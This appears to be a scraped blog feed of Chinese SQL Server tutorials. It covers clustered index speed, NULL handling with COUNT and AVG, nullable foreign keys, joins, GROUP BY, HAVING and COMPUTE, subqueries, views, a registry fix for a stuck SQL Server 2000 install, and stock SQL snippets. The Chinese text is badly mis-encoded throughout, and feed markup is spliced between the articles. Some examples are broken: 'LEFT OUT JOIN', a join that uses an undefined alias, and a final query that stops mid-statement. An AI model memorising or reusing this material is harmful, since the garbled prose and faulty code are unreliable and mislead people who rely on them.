得出以上速度的方法是Q在各个select语句前加Qdeclare @d datetime



set @d=getdate()



q在select语句后加Q?br />


select [语句执行p旉(毫秒)]=datediff(ms,@d,getdate())



2、只要徏立烦引就能显著提高查询速度



事实上,我们可以发现上面的例子中Q第2?条语句完全相同,且徏立烦引的字段也相同;不同的仅是前者在fariqi字段上徏立的是非聚合索引Q后者在此字D上建立的是聚合索引Q但查询速度却有着天壤之别。所以,q是在M字段上简单地建立索引p提高查询速度?br />


从徏表的语句中,我们可以看到q个有着1000万数据的表中fariqi字段?003个不同记录。在此字D上建立聚合索引是再合适不q了。在现实中,我们每天都会发几个文Ӟq几个文件的发文日期q同,q完全符合徏立聚集烦引要求的Q“既不能l大多数都相同,又不能只有极数相同”的规则。由此看来,我们建立“适当”的聚合索引对于我们提高查询速度是非帔R要的?br />


3、把所有需要提高查询速度的字D都加进聚集索引Q以提高查询速度



上面已经谈到Q在q行数据查询旉M开字段的是“日期”还有用hw的“用户名”。既然这两个字段都是如此的重要,我们可以把他们合qv来,建立一个复合烦引(compound indexQ?br />


很多为只要把M字段加进聚集索引Q就能提高查询速度Q也有h感到qhQ如果把复合的聚集烦引字D分开查询Q那么查询速度会减慢吗Q带着q个问题Q我们来看一下以下的查询速度Q结果集都是25万条数据Q:Q日期列fariqi首先排在复合聚集索引的v始列Q用户名neibuyonghu排在后列Q?br />
Q?Qselect gid,fariqi,neibuyonghu,title from Tgongwen where fariqi>'2004-5-5'

查询速度Q?513毫秒

Q?Qselect gid,fariqi,neibuyonghu,title from Tgongwen where fariqi>'2004-5-5' and neibuyonghu='办公?

查询速度Q?516毫秒

Q?Qselect gid,fariqi,neibuyonghu,title from Tgongwen where neibuyonghu='办公?

查询速度Q?0280毫秒

从以上试验中Q我们可以看到如果仅用聚集烦引的起始列作为查询条件和同时用到复合聚集索引的全部列的查询速度是几乎一LQ甚x用上全部的复合烦引列q要略快Q在查询l果集数目一L情况下)Q而如果仅用复合聚集烦引的非v始列作ؓ查询条g的话Q这个烦引是不vM作用的。当Ӟ语句1?的查询速度一h因ؓ查询的条目数一P如果复合索引的所有列都用上,而且查询l果的话,q样׃形成“烦引覆盖”,因而性能可以辑ֈ最优。同Ӟ误住:无论您是否经怋用聚合烦引的其他列,但其前导列一定要是用最频繁的列?
评论Feed: http://77521.cn/feed.asp?q=comment&id=173
引用链接: http://77521.cn/trackback.asp?id=173


liaojiyong 2006-09-27 18:00 发表评论
]]>
SQL Server的空值处理策?http://www.aygfsteel.com/liaojiyong/archive/2006/09/15/69818.htmlliaojiyongliaojiyongFri, 15 Sep 2006 02:22:00 GMThttp://www.aygfsteel.com/liaojiyong/archive/2006/09/15/69818.htmlhttp://www.aygfsteel.com/liaojiyong/comments/69818.htmlhttp://www.aygfsteel.com/liaojiyong/archive/2006/09/15/69818.html#Feedback0http://www.aygfsteel.com/liaojiyong/comments/commentRss/69818.htmlhttp://www.aygfsteel.com/liaojiyong/services/trackbacks/69818.html大多数集合函数都能在计算时消除空|COUNT函数则属于例外。对包含I值的一个列使用COUNT函数Q空g从计中消除。但假如COUNT函数使用一个星P它就计算所有行Q而不是否存在空倹{?/p>

如果希望COUNT函数对给定列的所有行Q包括空|q行计数Q请使用ISNULL函数。ISNULL函数会将I值替换成有效的倹{?br />

事实上,寚w合函数来_如果I值可能导致错误结果,ISNULL函数非常有用。记住在使用一个星hQCOUNT函数会对所有行q行计算。下例演CZI值在AVG和COUNT集合函数中的影响Q?

    SET NOCOUNT ON
GO
CREATE TABLE xCount
(pkey1 INT IDENTITY NOT NULL
    CONSTRAINT pk_xCount PRIMARY KEY,
Col1 int NULL)
GO
INSERT xCount (Col1) VALUES (10)
GO
INSERT xCount (Col1) VALUES (15)
GO
INSERT xCount (Col1) VALUES (20)
GO
INSERT xCount (Col1) VALUES (NULL)
GO
SELECT AVG(Col1) AvgWithoutIsNullFunctionOnCol1,
AVG(ISNULL(Col1,0)) AvgWithIsNullFunctionOnCol1,
COUNT(Col1) NoIsNullFunctionOnCol1 ,
COUNT(ISNULL(Col1,0)) UsingIsNullFunctionOnCol1,
Count(*) UsingAsterisk
FROM xCount
GO
DROP TABLE xCount
GO

OUTPUT:
AvgWOIsNullFnctnCol1 AvgWIsNullFnctnCol1 WOIsNullFnctnCol1

WIsNullFnctnCol1 UsingAsterisk
---------------- ------------- -------------- ------------ ---------
15             11                3           4         4
恰当使用I?/pre>
		
				

SQL Server可能出现一U特D情况:在引用父表的一个表中,因ؓ不允许空|所以“声明引用完整性”(DRIQ可能不会得到强制。即使父表不包含I|在子表引用了父表主键U束或惟一U束的列中,也可能包含空倹{?br />

假如来自父表的值目前未知,׃会有M问题。例如,父表可能是一个地址表,而子表可能包含联pM息。由于许多原因,可能暂时不知道要传给父表的联pd址。这是一U基于时间的问题Q空值在其中或许是合适的?/p>

如下例所C,我们创徏父表Qƈ在其中插入两个倹{?/p>

 SET NOCOUNT ON
GO
CREATE TABLE Parent
(pkey1 INT IDENTITY NOT NULL
    CONSTRAINT pkParent PRIMARY KEY,
col1 INT NULL)
GO
INSERT Parent (col1) VALUES (284)
GO
INSERT Parent (col1) VALUES (326)
GO
 

以下代码则创建子表,q在引用父表的列中插入一个空倹{?

 CREATE TABLE Child
(pkey1 INT IDENTITY
CONSTRAINT pkChild PRIMARY KEY,
Parentpkey1 INT NULL
CONSTRAINT fkChildParent FOREIGN KEY
REFERENCES Parent(pkey1),
col1 INT NULL)
GO
INSERT Child (Parentpkey1, col1) VALUES (null,2)
GO
 
但在以下代码中,要同时从父表和子表选择倹{虽然父表不包含I|但在子表引用了父表的那个列中Q将允许一个空倹{?br />

然后丢弃所有表Q清除这个演C所用的数据库对象?br />

 SELECT * FROM Child
GO
SELECT * FROM Parent
GO
DROP TABLE Child, Parent
GO





    查数据有效?/td>

    在可以ؓI的外键中检查数据的有效?/h5>
    <a target="_top" ><img src="http://m.cn.2mdn.net/1280511/SCH_300x250_v02.gif" border="0" /></a>

    如果׃个列共同l成主键Q而且一个子表将主键作ؓ可ؓI值的外键来承,可能得到错误的数据。可在一个外键列中插入有效的|但在另一个外键列中插入空倹{然后,可添加一个数据表查约束,在可为空的外键中查数据的有效性?/p>

    M多列外键都可能遇到同L问题。所以,你需要添加一个检查约束来异常。最初,查约束将查构成外键的所有列中可能ؓI的倹{检查约束还要检查这些列中不能ؓI的倹{如两个查都通过Q问题就解决了?/p>

    以下C脚本展示了这L一个异常,以及如何用检查约束来U正它?br />

         
    SET NOCOUNT ON
    GO
    CREATE TABLE parent (pkey1 INT IDENTITY NOT NULL, pkey2 INT NOT NULL, col1 INT NULL,
    CONSTRAINT pk_parent PRIMARY KEY NONCLUSTERED ( pkey1, pkey2))
    GO
    INSERT parent (pkey2) VALUES ( 2 )
    INSERT parent (pkey2) VALUES ( 85 )
    INSERT parent (pkey2) VALUES ( 41 )
    INSERT parent (pkey2) VALUES ( 11 )
    GO
    SELECT * FROM parent
    GO
    CREATE TABLE child (cpkey1 INT IDENTITY NOT NULL
    CONSTRAINT pk_child PRIMARY KEY NONCLUSTERED (cpkey1),
    pkey1 INT NULL, pkey2 INT NULL, col1 INT NULL,
    CONSTRAINT fk_parent_child FOREIGN KEY (pkey1, pkey2)
    REFERENCES parent (pkey1, pkey2))
    GO
    INSERT child (pkey1, pkey2) VALUES ( null, 85 )
    GO
    SELECT * FROM child
    GO
    DELETE child
    GO
    ALTER TABLE child WITH NOCHECK
    ADD CONSTRAINT ck_fk_parent_child CHECK
    ((pkey1 IS NOT NULL AND pkey2 IS NOT NULL) OR
    (pkey1 IS NULL AND pkey2 IS NULL) )
    GO
    INSERT child (pkey1, pkey2) VALUES ( null, 11 )
    GO
    DROP TABLE child, parent
    GO
     

    I值是所有数据库开发者和理员都要遇到的。所以,要想开发成功的应用E序Q必ȝ道如何处理这些倹{本文和你分享了I值处理的一些技巧和技术?





















    liaojiyong 2006-09-15 10:22 发表评论
    ]]>transact---sql高查询http://www.aygfsteel.com/liaojiyong/archive/2006/09/14/69528.htmlliaojiyongliaojiyongThu, 14 Sep 2006 00:49:00 GMThttp://www.aygfsteel.com/liaojiyong/archive/2006/09/14/69528.htmlhttp://www.aygfsteel.com/liaojiyong/comments/69528.htmlhttp://www.aygfsteel.com/liaojiyong/archive/2006/09/14/69528.html#Feedback0http://www.aygfsteel.com/liaojiyong/comments/commentRss/69528.htmlhttp://www.aygfsteel.com/liaojiyong/services/trackbacks/69528.htmltransact---sql高查询Q上Q?br />1:多表的查询和W卡儿积
    2:表格别名的用?br />3:使用sql server的统计函?br />4:用group by子句实现分组的查?/p>

    A:多表查询和笛儿U?br />到目前ؓ?我们所用的都是单个表查?但是在更多的情况的下,需要对多个表进行同时查?q时可以把多个表的名字全部填写在from子句?
      比如:查询出每个职工的姓名,学历,所在部门名U?׃我们需要的l果来自于两个表,所以必ȝ多表查询
           select 姓名,学历,部门名称,负责?from work,部门 [分析Z么是错误的]
      原因:问题出在对表D接条件的限制?在上面的语句?没能对表D接条件作M限制,所以sql会在work表中每取Z条记?׃部门表中的所有记录组合一?那么假设work表有m条记?而部门表中有n条记?则得出的l果为m*n条记录这是W尔儿积,所以笛儿U返回的大多数的l果是冗余的、无用的,所以应该避免笛儿U的产生.
      解决W尔儿积的方?事实上由于笛儿U是因ؓ两个表的q接条g没有限制造成?所以只要我们对两个表的q接q行条g限制,可以避免笛儿U的产生.可以通过一个where子句,来连接两个表的公q字段可以了.
      所以将上面的语句改?select 姓名,学历,部门名称,负责?from work,部门 where work.部门~号=部门.部门~号

    B:使用表格的别?br />  A:当用多个表q行查询?如果有两个表中有相同的列,应该指明选中的是哪个表中的列.
        比如:在work表检索出在address表中都有的职工的职工?姓名,学历,基本工资
             select 职工?姓名,学历,基本工资 from work,address where work.职工?address.职工?br />         上面的语句是错误?原因是对于work和address表都有职工号,姓名?所以应该指明是哪个表的职工号和姓名.
        Ҏ:select work.职工?work.姓名,学历,基本工资 from work,address where work.职工?address.职工?br />    或?select address.职工?address.姓名,学历,基本工资 from work,address where work.职工?address.职工?br />    想一?Z么对于学?基本工资没有指明表名:?work.学历,work.基本工资[只有一个表有这些列]
      B:允许使用别名来访问表.
        格式:1:表名 as 别名
             2:表名 别名
        例如:上面的语句可改写?
             select w.职工?w.姓名,学历,基本工资 from work as w,address as a where w.职工?a.职工?
    上面的语句中在from中引用两个表,q且work指明了别名w,address指明了别名a,所以就可以用w来代表work?用a来代表address?或者省略as直接Ҏ:select w.职工?w.姓名,学历,基本工资 from work w,address a where w.职工?a.职工?
      C:如果使用了别?则以后所有查询语句中,都必M用别名列
        比如:select work.职工?work.姓名,学历,基本工资 from work w,address a where w.职工?a.职工?[是错误的]

    C:使用l计函数:
      sql跟我们提供了以下几个l计函数:
         sum:q回一个数字列的d
         avg:对一个数字列求^均?br />     min:对一个数字列求最?br />     max:对一个数字列求最大?br />     count:q回满select语句中指定的条g的记录个?br />      丑ֈ:1:求出work表中所有男职工的基本工资的?br />             select sum(基本工资) as 性别为男的基本工?from work where 性别=\'男\'
               2:求出work表中所有职U是l理的最高工资和最低工?q_工资
                 select max(基本工资) as 最高工?min(基本工资) as 最低工?avg(q_工资) as q_工资 from work   
               3:与统计函C起用distinct关键字[通常只与count函数使用]
                 ?1:索出work表中学历的个?br />                  select count(学历) from work
                    2:索出work表中学历的种cȝ个数
                      select count(distinct 学历) from work
                      试一?select distinct count(学历) from work 可行?
                    3:有work和部门表,索出在销售部工作的员工的个数
                      select \'销售部的h数\'=count(职工? from work a,部门 b
                      where a.部门~号=b.部门~号 and b.部门名称=\'销售部\'
                    4:在work表中索出其基本工资小于职工^均工资的人数
                      select count(职工? as 人数 from work
                      where 基本工资<(select avg(基本工资) from work)
                    5:有学U表和学费表,从学费表索出有多个学网设计的?br />                  select count(学号) as |页设计的h?from 学费 a,学科 b
                      where a.所学专业代?b.评~号 and b.评名称=\'|页设计\'

    D:使用group by子句对结果进行分c[只用于统计函数]
        丑ֈ:1:索出work表各职称的h?
               select 职称,count(职称) as 职称人数 from work group by 职称
             2:索出各学历的q_工资.
               select 学历,avg(基本工资) from work group by 学历
             3:有学U表和学费表,要求l计出各学科的学生数?
               select 所学专业代?count(所学专业代? as 人数 into #abc from 学费 group by 所学专业代?br />           select 评名称,人数 from #abc,学科 where 所学专业代?评~号
             4:有职工表和商品销售表,要求索出每个职工的职工号,姓名,销售总量.
               select 职工?sum(销售量) as 销售总量 into #abcd from 商品销?group by 职工?br />           select 职工.职工?姓名,销售总量 from 职工,#abcd where #abcd.职工?职工.职工?br />         5:查询出每个部门最高的基本工资,昄部门名称和最高基本工?br />           select 部门名称,max(基本工资) from work group by 部门名称
               说明:1:在group by中不支持对列名的分配的别?br />                   select 学历 as 职工学历,count(学历) from work group by 职工学历 [错错]
                       改ؓ:select 学历 as 职工学历,count(学历) from work group by 学历
                    2:select后面每一列数据除了在l计函数中的列以外都必须在group by子句出现
                       比如:select 学历,性别,sum(基本工资) from work group by 学历[错错]
                       改ؓ:select 学历,性别,sum(基本工资) from work group by 学历,性别     
                       意义:各学历各性别的基本工资之?br />

    transact---sql高查询Q下Q?br />5:使用having关键字来{选结?br />6:使用compute和compute by子句
    7:使用嵌套查询
    8:分布式查?/p>

    E:使用having关键字来{选结?br />    当完成对数据l果的查询和l计?可以使用having关键字来Ҏ询和计算的结果进行一步的{?br />      ?索出work表中学历是大专或者是中专的h?br />          select 学历,count(学历) from work group by 学历 having 学历 in(\'大专\',\'中专\')
              说明:1:having关键字都与group by用在一?
                   2:having不支持对列分配的别名
              例如:select 学历,\'大于5的h数\'=count(学历) from work group by 学历 having 大于5的h?gt;5 [错错]
              改ؓ:select 学历,\'大于5的h数\'=count(学历) from work group by 学历 having count(学历)>5

    F:使用compute和compute by
      使用compute子句允许同时观察查询所得到各列的数据的l节以及l计各列数据所产生的汇d
          select * from work [查询所得到的各列的数据的细节]
          compute max(基本工资),min(基本工资) [l计之后的结果]
      q个例子中没有用by关键?q回的结果是最后添加了一行基本工资的最大值和最?也可增加by关键?
            ?select * from work order by 学历
               compute max(基本工资),min(基本工资) by 学历
            比较:select 学历,max(基本工资),min(基本工资) from work group by 学历
            说明:1:compute子句必须与order by子句用在一?br />             2:compute子句可以q回多种l果?一U是体现数据l节的数据集,可以按分c要求进行正的分类Q另一U在分类的基上进行汇M生结?
                 3:而group by子句Ҏ一cL据分cM后只能生一个结?不能知道l节

    G:使用嵌套查询
      查询中再查询,通常是以一个查询作为条件来供另一个查询?br />      ?有work表和部门?br />         A:索出在部门表中登记的所有部门的职工基本资料
               select * from work where 部门~号 in [not in](select 部门~号 from dbo.部门)
             B:索出在work表中每一个部门的最高基本工资的职工资料
               select * from work a where 基本工资=(select max(基本工资) from work b where a.部门名称=b.部门名称)
               说明:由外查询提供一个部门名U给内查?内查询利用这个部门名U找到该部门的最高基本工?然后外查询根据基本工资判断是否等于最高工?如果是的,则显C出?
               相当?select * from work,(select 部门名称,max(基本工资) as 基本工资 from work group by 部门名称 as t) where work.基本工资=t.基本工资 and work.部门名称=t.部门名称
             C:用嵌套work表和嵌套部门?在嵌套work表中索出姓名和职工号都在嵌套部门存在的职工资?
               select * from 嵌套work where 职工?in (select 职工?from 嵌套部门) and 姓名 in (select 姓名 from 嵌套部门) [察看l果,分析原因]
               ?select * from 嵌套work a,嵌套部门 b where a.职工?b.职工?and a.姓名=b.姓名
               ?select * from 嵌套work where 职工?(select 职工?from 嵌套部门) and 姓名=(select 姓名 from 嵌套部门) [行吗?Z?分析原因?]

    在嵌套中使用exists关键字[存在]
    ?1:用嵌套work表和嵌套部门?在嵌套work表中索出姓名和职工号都在嵌套部门存在的职工资?
         select * from 嵌套work a where exists (select * from 嵌套部门 b where a.姓名=b.姓名 and a.职工?b.职工?
       2:在work表检索出在部门表没有的职?br />     select * from work where not exists (select * from 部门 where 部门.部门~号=work.部门~号)
         能否Ҏ:select * from work where exists (select * from 部门 where 部门.部门~号<>work.部门~号)
                          
    在列清单中用select
    ?1:在work1表和部门表中索出所有部门的部门名称和基本工资d
        select 部门名称,(select sum(基本工资) from work1 b where a.部门~号=b.部门~号) from 部门 a
       2:索各部门的职工h?br />    select 部门~号,部门名称,(select count(职工? from work1 a where a.部门~号=b.部门~号) as 人数 from 部门 b
       3:在商品表和销售表中查询每一职工的姓?所属部?销售总量                  
        select 姓名,所属部?(select sum(销售量) from 商品销?a where a.职工?b.职工? as 销售总量 from 嵌套部门 b

    H:分布式查?br />我们以前的查询都只是Z一个服务器中的一个数据库的查?如果一个查询是要跨一个服务器,像这L查询是分布式查?那么我们以看到分布查询就是数据源自于两个服务?要进行分布式查询必须先创Z个“链接服务器?以便让本地的用户能够映射到过E服务器.
    “链接服务器”的创立
         A:在“链接服务器”里面输入以后ؓ了方便访问该链接服务器的名称[L]
         B:在“提供程序名U”里面选择“Microsoft OLE DB Provider for SQL Server?br />     C:在“数据源”里面输入服务器的网l名
         D:本地d,q程用户和远E密码里面分别输入一个本地登录用?q程d和远E密码以便让本地SQL Serverd映射为链接服务器上的用户
         E:讉KҎ:格式:链接服务器的名称.数据库名.dbo.表名
           链接服务器有两个特点:
               1:通过链接服务器不能删除链接源服务器的M对像.
               2:能过链接服务器可以对链接源服务器的表q行insert,updae,delete操作.

     


    视图
    1:什么是视图
    2:视图和查询的区别
    3:视图的优?br />4:如何创徏和管理视?br />5:如何通过视图修改基本表的数据
    6:如何通过视图实现数据的安全?/p>

    A:什么是视图:
    视图(view):从一个或几个基本表中Ҏ用户需要而做成一个虚?br />    1:视图是虚?它在存储时只存储视图的定?而没有存储对应的数据
        2:视图只在刚刚打开的一瞬间,通过定义从基表中搜集数据,q展现给用户

    B:视图与查询的区别:
    视图和查询都是用由sql语句l成,q是他们相同的地?但是视图和查询有着本质区别:
    它们的区别在?1:存储上的区别:视图存储为数据库设计的一部分,而查询则不是.
                  2:更新限制的要求不一?br />                要注?因ؓ视图来自于表,所以通过视图可以间接对表q行更新,我们也可以通过update语句对表q行更新,但是对视囑֒查询更新限制是不同的,以下我们会知道虽焉过视图可以间接更新表但是有很多限制.
                  3:排序l果:通过sql语句,可以对一个表q行排序,而视囑ֈ不行.
                    比如:创徏一个含有order by子句的视?看一下可以成功吗?

    C:视图的优? 
    Z么有了表q要引入视图呢?q是因ؓ视图h以下几个优点:
    1:能分割数?化观?br />  可以通过select和where来定义视?从而可以分割数据基表中某些对于用户不关心的数据,使用h注意力集中到所兛_的数据列.q一步简化浏览数据工?
    2:为数据提供一定的逻辑独立?br />  如果为某一个基表定义一个视?即以后基本表的内容的发生改变了也不会媄响“视囑֮义”所得到的数?br />3:提供自动的安全保护功?br />  视图能像基本表一h予或撤消讉K许可?
    4:视图可以间接对表q行更新,因此视图的更新就是表的更?/p>

    D:视图的创建和理
      视图的创?br />  1:通过sql语句
        格式:create view 视图?as select 语句
             试一?分别创徏关于一个表或多个表的视图[因ؓ视图可以来自于多表]
      2:通过企业理器 ?
        说明:1:在完成视囄创立之后,可以像使用基本表一h使用视图
             2:在创图时,q所有的select子查询都可用
               ?compute和compute by,order by[除非与top一赯用] 
             3:但在查询?依然都可以用在创建时用的select子查?br />         4:在视囑ֈ建时,必须为没有标题列指定标题[思?能否不用select语句来创Z个视图]
     
      视图的删?
      1:通过sql语句:drop view 视图?br />  2:通过企业理?br />    说明:与删除表不同的是,删除视图后只是删除了视图了定?q没有删除表中的数据.[查看相关性]
     
      修改视图的定?br />  1:通过企业理?br />  2:通过sql语句:
        格式:alter view 视图?as 新的select语句

    览视图信息 sp_helptext 视图?[查看视图创徏的语句]

    E:如何通过视图修改基本表的数据.
      1:在视图上使用insert语句
        通过视图插入数据与直接在表中插入数据一?但视图毕竟不是基本表.因此在进行数据插入时q是有一定的限制
          1:如果视图上没有包括基本表中属性ؓnot null[不能为空]的列,那么插入操作会因为那些列是nullD失?
          2:如果某些列因为某些规则或U束的限制而不能直接接受从视图插入的列?插入会失?br />      3:如果在视图中包含了用统计函数的l果,或是包含计算?则插入操作会p|
          4:不能在用了distinct语句的视图中插入?br />      5:不能在用了group by语句的视图中插入?/p>

      2:使用update更新视图中的数据
           1:更新视图与更新表g?但是在视图中使用了多个基本表q接的情况下,每次更新操作只能更新来自基本表的一个数据列
             例如:创徏以下视图:create view del as
                              select 职工?姓名,部门名称,负责?from work1,部门
                              where work1.部门~号=部门.部门~号
                  如果再执行下面的语句?
                            update del set 职工?\'001\',部门名称=\'wenda\' where 职工?\'01\'[出现错误]
                  只能够改?update del set 职工?\'001\' where 职工?\'01\'
                            update del set 部门名称=\'wenda\' where 职工?\'01\'
           2:不能在用了distinct语句的视图中更新?br />       3:不能在用了group by语句的视图中更新?br /> 
      3:使用delete删除视图中数?
        通过视图删除数据最l体Cؓ从基本表中删除数?br />    格式:delete 视图?[where 条g]
        说明:当视囄两个以上的基表构成时,不允许删除视囄数据
        例如:Z个视图kk
             create view kk as
             select 职工?姓名,性别,部门名称 from work1,部门 where work1.部门~号=部门.部门~号 [试着d除]

        使用with check option的视?br />    如果不了解视囑֮义内?则常怼发生向视图中输入不符合视囑֮义的数据的情?
        比如:create view xm as
             select * from work where 性别=\'男\'
             完全可以插入insert xm values(\'001\',\'女\',23,\'2400\'....)
    管从意义上来说是不合理?但是上述语句是正的.Z防止q种情况的发?可以使用with check option子句来对插入的或更改的数据进行限?
        比如:create view xm as
             select * from work where 性别=\'男\' with check option

        使用schemabinding的视图[使用l定到构架]
    我们知道视图是依赖于?如果在一个表中创Z个视?今后如果q个表被删除?则这个视囑ְ不可再用?Z防止用户删除一个有视图在引用的?可以在创囄时候加上schemabinding关键?
        比如:create view 基本工资 with SCHEMABINDING
             as select 姓名,性别,基本工资 from dbo.work
        说明:1:不能使用?”来创徏此类型的视图
             2:创徏此类型的视图?一定要加上dbo.表名.
             3:如果在某个表中定义了此类视图,则用户将不能对表的结构进行修?否则会删除这些绑?br />         4:如果用户对表的结构进行列改名,则会删除l定而且视图不可?
             5:如果用户对表的结构进行列的类型或者大修?则会删除l定但视囑֏?此时用户可以删除视图所引用的表.
      
        使用with encryption对视图进行加?br />Z保护创徏视图定义的原代码,可以对视图进行加?
        比如:create view kk with encryption
             as select * from work where 职称=\'l理\'
        用sp_helptext来查看一?或用企业理器查看一?
        说明:如果应用此项用户无法设计视?/p>

    F:使用视图加强数据的安?br />  一般通过使用视图共有三种途径加强数据的安全性   ?
         A:对不同用h予不同的使用?
         B:通过使用select子句限制用户Ҏ些底层基表的列的讉K
         C:通过使用where子句限制用户Ҏ些底层基表的行的讉K
      对不同用h予不同的权限



    q接查询

    通过q接q算W可以实现多个表查询。连接是关系数据库模型的主要特点Q也是它区别于其它类型数据库理pȝ的一个标志?

    在关pL据库理pȝ中,表徏立时各数据之间的关系不必定Q常把一个实体的所有信息存攑֜一个表中。当索数据时Q通过q接操作查询出存攑֜多个表中的不同实体的信息。连接操作给用户带来很大的灵zL,他们可以在Q何时候增加新的数据类型。ؓ不同实体创徏新的表,后通过q接q行查询?

    q接可以在SELECT 语句的FROM子句或WHERE子句中徏立,似是而非在FROM子句中指接时有助于将q接操作与WHERE子句中的搜烦条g区分开来。所以,在Transact-SQL中推荐用这U方法?

    SQL-92标准所定义的FROM子句的连接语法格式ؓQ?

    FROM join_table join_type join_table

    [ON (join_condition)]

    其中join_table指出参与q接操作的表名,q接可以对同一个表操作Q也可以对多表操作,对同一个表操作的连接又U做自连接?

    join_type 指出q接cdQ可分ؓ三种Q内q接、外q接和交叉连接。内q接(INNER JOIN)使用比较q算W进行表间某(?列数据的比较操作Qƈ列出q些表中与连接条件相匚w的数据行。根据所使用的比较方式不同,内连接又分ؓ{D接、自然连接和不等q接三种?

    外连接分为左外连?LEFT OUTER JOIN或LEFT JOIN)、右外连?RIGHT OUTER JOIN或RIGHT JOIN)和全外连?FULL OUTER JOIN或FULL JOIN)三种。与内连接不同的是,外连接不只列Zq接条g相匹配的行,而是列出左表(左外q接?、右?叛_q接?或两个表(全外q接?中所有符合搜索条件的数据行?

    交叉q接(CROSS JOIN)没有WHERE 子句Q它q回q接表中所有数据行的笛卡尔U,其结果集合中的数据行数等于第一个表中符合查询条件的数据行数乘以W二个表中符合查询条件的数据行数?

    q接操作中的ON (join_condition) 子句指出q接条gQ它pq接表中的列和比较运符、逻辑q算W等构成?

    无论哪种q接都不能对text、ntext和image数据cd列进行直接连接,但可以对q三U列q行间接q接。例如:

    SELECT p1.pub_id,p2.pub_id,p1.pr_info

    FROM pub_info AS p1 INNER JOIN pub_info AS p2

    ON DATALENGTH(p1.pr_info)=DATALENGTH(p2.pr_info)

     

    (一)内连?

    内连接查询操作列Zq接条g匚w的数据行Q它使用比较q算W比较被q接列的列倹{内q接分三U:

    1、等D接:在连接条件中使用{于?=)q算W比较被q接列的列|其查询结果中列出被连接表中的所有列Q包括其中的重复列?

    2、不{连接: 在连接条件用除{于q算W以外的其它比较q算W比较被q接的列的列倹{这些运符包括>?gt;=?lt;=?lt;?>?<?lt;>?

    3、自然连接:在连接条件中使用{于(=)q算W比较被q接列的列|但它使用选择列表指出查询l果集合中所包括的列Qƈ删除q接表中的重复列?

    例,下面使用{D接列出authors和publishers表中位于同一城市的作者和出版C:

    SELECT *

    FROM authors AS a INNER JOIN publishers AS p

    ON a.city=p.city

     

    又如使用自然q接Q在选择列表中删除authors 和publishers 表中重复?city和state)Q?

    SELECT a.*,p.pub_id,p.pub_name,p.country

    FROM authors AS a INNER JOIN publishers AS p

    ON a.city=p.city

     

    (?外连?

    内连接时Q返回查询结果集合中的仅是符合查询条? WHERE 搜烦条g?HAVING 条g)和连接条件的行。而采用外q接Ӟ它返回到查询l果集合中的不仅包含W合q接条g的行Q而且q包括左?左外q接?、右?叛_q接?或两个边接表(全外q接)中的所有数据行?

    如下面用左外连接将论坛内容和作者信息连接v来:

    SELECT a.*,b.* FROM luntan LEFT JOIN usertable as b

    ON a.username=b.username

     

    下面使用全外q接city表中的所有作者以及user表中的所有作者,以及他们所在的城市Q?

    SELECT a.*,b.*

    FROM city as a FULL OUTER JOIN user as b

    ON a.username=b.username

     

    (?交叉q接

    交叉q接不带WHERE 子句Q它q回被连接的两个表所有数据行的笛卡尔U,q回到结果集合中的数据行数等于第一个表中符合查询条件的数据行数乘以W二个表中符合查询条件的数据行数?

    例,titles表中?cd书,而publishers表中?家出版社Q则下列交叉q接索到的记录数等

    ?*8=48行?

    SELECT type,pub_name

    FROM titles CROSS JOIN publishers

    ORDER BY typ



    liaojiyong 2006-09-14 08:49 发表评论
    ]]>
    SQL Server安装文g挂v错误解决办法http://www.aygfsteel.com/liaojiyong/archive/2006/05/31/49198.htmlliaojiyongliaojiyongWed, 31 May 2006 03:04:00 GMThttp://www.aygfsteel.com/liaojiyong/archive/2006/05/31/49198.htmlhttp://www.aygfsteel.com/liaojiyong/comments/49198.htmlhttp://www.aygfsteel.com/liaojiyong/archive/2006/05/31/49198.html#Feedback3http://www.aygfsteel.com/liaojiyong/comments/commentRss/49198.htmlhttp://www.aygfsteel.com/liaojiyong/services/trackbacks/49198.html  安装SQL Server 2000的操作系l是Windows 2000 Profession Edition,安装体中文标准版。会提示该版本的操作pȝ不能安装服务器组Ӟ只能安装SQL Server 2000个h版。于是退出,选择安装个h版。却出现了新的错误:
      “以前的某个E序安装已在安装计算Z创徏挂v的文件操作。运行安装程序之前必重新启动计机。?br />  接着按照提示重启计算机,再安装,仍然出现同样的提C。再|上查找相关资料Q得知是安装E序在先前的安装q程中在pȝ注册表留下某些信息,D不能安装。于是经q多ơ试Q发现删除掉如下键g息即可安装:
      在运行窗口输入regeditQ打开注册表编辑器Q在HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Session Manager中找到PendingFileRenameOperationsQ删除该键|关闭注册表编辑器。重新安装SQL Server 2000Q哈哈,久违的安装界面终于Q出水面了?br />  q个键值是安装E序暂挂目Q只要找到对应的应用E序清除掉就行了?img src ="http://www.aygfsteel.com/liaojiyong/aggbug/49198.html" width = "1" height = "1" />

    liaojiyong 2006-05-31 11:04 发表评论
    ]]>
    SQL _֦语句Q{Q?http://www.aygfsteel.com/liaojiyong/archive/2006/05/24/47871.htmlliaojiyongliaojiyongWed, 24 May 2006 10:51:00 GMThttp://www.aygfsteel.com/liaojiyong/archive/2006/05/24/47871.htmlhttp://www.aygfsteel.com/liaojiyong/comments/47871.htmlhttp://www.aygfsteel.com/liaojiyong/archive/2006/05/24/47871.html#Feedback0http://www.aygfsteel.com/liaojiyong/comments/commentRss/47871.htmlhttp://www.aygfsteel.com/liaojiyong/services/trackbacks/47871.html 如何从一位菜鸟蜕变成为高手,灉|使用的SQL语句是必不可的。本文收集了部分比较l典Q常用的SQL语句供大家参考,希望对大家有所帮助?有不懂之处,可与本h留言?br />
      说明Q复制表(只复制结?源表名:a 新表名:b)  

      SQL: select * into b from a where 1<>1

      说明Q拷贝表(拯数据,源表名:a 目标表名Qb)  

      SQL: insert into b(a, b, c) select d,e,f from b;

      说明Q显C文章、提交h和最后回复时间  

      SQL: select a.title,a.username,b.adddate from table a,(select max(adddate) adddate from table where table.title=a.title) b

      说明Q外q接查询(表名1Qa 表名2Qb)  

      SQL: select a.a, a.b, a.c, b.c, b.d, b.f from a LEFT OUT JOIN b ON a.a = b.c

      说明Q日E安排提前五分钟提醒  

      SQL: select * from 日程安排 where datediff('minute',f开始时?getdate())>5  

      说明Q两张关联表Q删除主表中已经在副表中没有的信?

      SQL:   

      delete from info where not exists ( select * from infobz where info.infid=infobz.infid

      说明Q?-

      SQL:   

      SELECT A.NUM, A.NAME, B.UPD_DATE, B.PREV_UPD_DATE

       FROM TABLE1,

       (SELECT X.NUM, X.UPD_DATE, Y.UPD_DATE PREV_UPD_DATE

